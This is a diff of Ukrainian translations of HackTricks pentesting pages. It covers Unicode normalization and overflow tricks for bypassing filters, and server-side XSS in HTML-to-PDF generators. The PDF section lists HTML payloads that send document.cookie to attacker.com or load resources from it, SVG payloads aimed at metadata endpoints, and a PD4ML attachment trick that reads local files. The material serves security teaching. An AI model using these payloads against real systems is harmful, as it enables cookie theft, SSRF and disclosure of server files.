- **Представлення байтів**: Кодова точка (або символ) представлена одним або кількома байтами в пам'яті. Наприклад, символи LATIN-1 (поширені в англомовних країнах) представлені за допомогою одного байта. Однак мови з більшим набором символів потребують більше байтів для представлення.
- **Кодування**: Цей термін відноситься до того, як символи перетворюються в серію байтів. UTF-8 є поширеним стандартом кодування, де символи ASCII представлені за допомогою одного байта, а інші символи до чотирьох байтів.
- **Обробка даних**: Системи, що обробляють дані, повинні бути обізнані про використовуване кодування, щоб правильно перетворити байтовий потік на символи.
- **Кодування**: Цей термін відноситься до того, як символи перетворюються в серію байтів. UTF-8 є поширеним стандартом кодування, де символи ASCII представлені за допомогою одного байта, а інші символи - до чотирьох байтів.
- **Обробка даних**: Системи, що обробляють дані, повинні бути обізнані про використовуване кодування, щоб правильно перетворити байтовий потік у символи.
- **Варіанти UTF**: Окрім UTF-8, існують інші стандарти кодування, такі як UTF-16 (використовуючи мінімум 2 байти, до 4) та UTF-32 (використовуючи 4 байти для всіх символів).
Важливо зрозуміти ці концепції, щоб ефективно обробляти та пом'якшувати потенційні проблеми, що виникають через складність Unicode та його різні методи кодування.
@ -89,16 +89,26 @@ https://github.com/carlospolop/sqlmap_to_unicode_template
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>)
### Фаззинг регулярних виразів
### Fuzzing Regexes
Коли бекенд **перевіряє введення користувача за допомогою регулярного виразу**, можливо, що **введення** **нормалізується** для **регулярного виразу**, але **не** для того, де воно **використовується**. Наприклад, в Open Redirect або SSRF регулярний вираз може **нормалізувати надісланий URL**, але потім **доступатися до нього як є**.
Коли бекенд **перевіряє введення користувача за допомогою regex**, можливо, що **введення** **нормалізується** для **regex**, але **не** для того, де воно **використовується**. Наприклад, в Open Redirect або SSRF regex може **нормалізувати надісланий UR**L, але потім **доступатися до нього як є**.
Інструмент [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* дозволяє **генерувати варіації введення** для фаззингу бекенду. Для отримання додаткової інформації перегляньте **github** та цей [**пост**](https://0xacb.com/2022/11/21/recollapse/).
Інструмент [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* дозволяє **генерувати варіації введення** для fuzzing бекенду. Для отримання додаткової інформації перегляньте **github** та цей [**пост**](https://0xacb.com/2022/11/21/recollapse/).
## Unicode Overflow
З цього [блогу](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows), максимальне значення байта становить 255, якщо сервер вразливий, переповнення може бути створене для виробництва конкретного та несподіваного ASCII символу. Наприклад, наступні символи будуть перетворені на `A`:
- 0x4e41
- 0x4f41
- 0x5041
- 0x5141
## Посилання
- [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
- [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
- [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html)
- [https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,24 +5,24 @@
## Server Side XSS (Dynamic PDF)
Якщо веб-сторінка створює PDF, використовуючи введення, контрольоване користувачем, ви можете спробувати **обманути бота**, який створює PDF, щоб він **виконав довільний JS код**.\
Отже, якщо **бот для створення PDF знаходить** якісь **HTML** **теги**, він буде їх **інтерпретувати**, і ви можете **зловживати** цією поведінкою, щоб викликати **Server XSS**.
Отже, якщо **бот для створення PDF знаходить** якісь **HTML** **теги**, він буде **інтерпретувати** їх, і ви можете **зловживати** цією поведінкою, щоб викликати **Server XSS**.
Зверніть увагу, що теги `<script></script>` не завжди працюють, тому вам знадобиться інший метод для виконання JS (наприклад, зловживанням `<img` ).\
Також зверніть увагу, що в звичайній експлуатації ви зможете **бачити/завантажувати створений pdf**, тому ви зможете бачити все, що ви **пишете через JS** (використовуючи `document.write()`, наприклад). Але, якщо ви **не можете бачити** створений PDF, вам, ймовірно, потрібно буде **витягнути інформацію, роблячи веб-запит до вас** (Сліпий).
Також зауважте, що під час звичайної експлуатації ви зможете **бачити/завантажувати створений pdf**, тому ви зможете бачити все, що ви **пишете через JS** (використовуючи `document.write()`, наприклад). Але, якщо ви **не можете бачити** створений PDF, вам, ймовірно, потрібно буде **витягнути інформацію, роблячи веб-запит до вас** (Сліпий).
### Популярні генератори PDF
### Популярна генерація PDF
- **wkhtmltopdf** відомий своєю здатністю перетворювати HTML і CSS у PDF-документи, використовуючи движок рендерингу WebKit. Цей інструмент доступний як безкоштовна командна утиліта, що робить його доступним для широкого спектра застосувань.
- **wkhtmltopdf** відомий своєю здатністю перетворювати HTML і CSS у PDF-документи, використовуючи движок рендерингу WebKit. Цей інструмент доступний як безкоштовна утиліта командного рядка, що робить його доступним для широкого спектра застосувань.
- **TCPDF** пропонує надійне рішення в екосистемі PHP для генерації PDF. Він здатний обробляти зображення, графіку та шифрування, демонструючи свою універсальність для створення складних документів.
- Для тих, хто працює в середовищі Node.js, **PDFKit** є життєздатним варіантом. Він дозволяє генерувати PDF-документи безпосередньо з HTML і CSS, забезпечуючи міст між веб-контентом і друкованими форматами.
- Розробники на Java можуть віддати перевагу **iText**, бібліотеці, яка не тільки полегшує створення PDF, але й підтримує розширені функції, такі як цифрові підписи та заповнення форм. Її комплексний набір функцій робить її придатною для створення безпечних і інтерактивних документів.
- **FPDF** є ще однією бібліотекою PHP, яка відрізняється своєю простотою та зручністю використання. Вона розроблена для розробників, які шукають простий підхід до генерації PDF, без необхідності в розширених функціях.
- **FPDF** є ще однією бібліотекою PHP, яка відрізняється своєю простотою та зручністю використання. Вона призначена для розробників, які шукають простий підхід до генерації PDF без необхідності в розширених функціях.
## Payloads
### Discovery
```html
<!-- Basic discovery, Write somthing-->
<!-- Basic discovery, Write something-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
@ -32,10 +32,26 @@
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">
<!-- Using base HTML tag -->
<base href="http://attacker.com" />
<!-- Loading external stylesheet -->
<link rel="stylesheet" src="http://attacker.com" />
<!-- Meta-tag to auto-refresh page -->
<meta http-equiv="refresh" content="0; url=http://attacker.com/" />
<!-- Loading external components -->
<input type="image" src="http://attacker.com" />
<video src="http://attacker.com" />
<audio src="http://attacker.com" />
<audio><source src="http://attacker.com"/></audio>
<svg src="http://attacker.com" />
```
### SVG
Будь-який з попередніх або наступних payload може бути використаний всередині цього SVG payload. Один iframe, що отримує доступ до піддомену Burpcollab, і ще один, що отримує доступ до кінцевої точки метаданих, наведені як приклади.
Будь-який з попередніх або наступних payload може бути використаний всередині цього SVG payload. Один iframe, що отримує доступ до піддомену Burpcollab, і інший, що отримує доступ до кінцевої точки метаданих, наведені як приклади.
```html
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
@ -152,7 +168,7 @@ checkPort(i);
### Attachments: PD4ML
Існують деякі HTML 2 PDF движки, які дозволяють **вказувати вкладення для PDF**, такі як **PD4ML**. Ви можете зловживати цією функцією, щоб **додати будь-який локальний файл** до PDF.\
Щоб відкрити вкладення, я відкрив файл за допомогою **Firefox і двічі клацнув на символі скріпки**, щоб **зберегти вкладення** як новий файл.\
Щоб відкрити вкладення, я відкрив файл за допомогою **Firefox і двічі натиснув на символ скріпки**, щоб **зберегти вкладення** як новий файл.\
Перехоплення **PDF відповіді** за допомогою burp також повинно **показати вкладення у відкритому тексті** всередині PDF.
```html
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
@ -169,5 +185,6 @@ icon="Paperclip" />
- [https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/](https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/)
- [https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html](https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html)
- [https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c](https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c)
- [https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators](https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-pdf-generators-a-complete-guide-to-finding-ssrf-vulnerabilities-in-pdf-generators)
{{#include ../../banners/hacktricks-training.md}}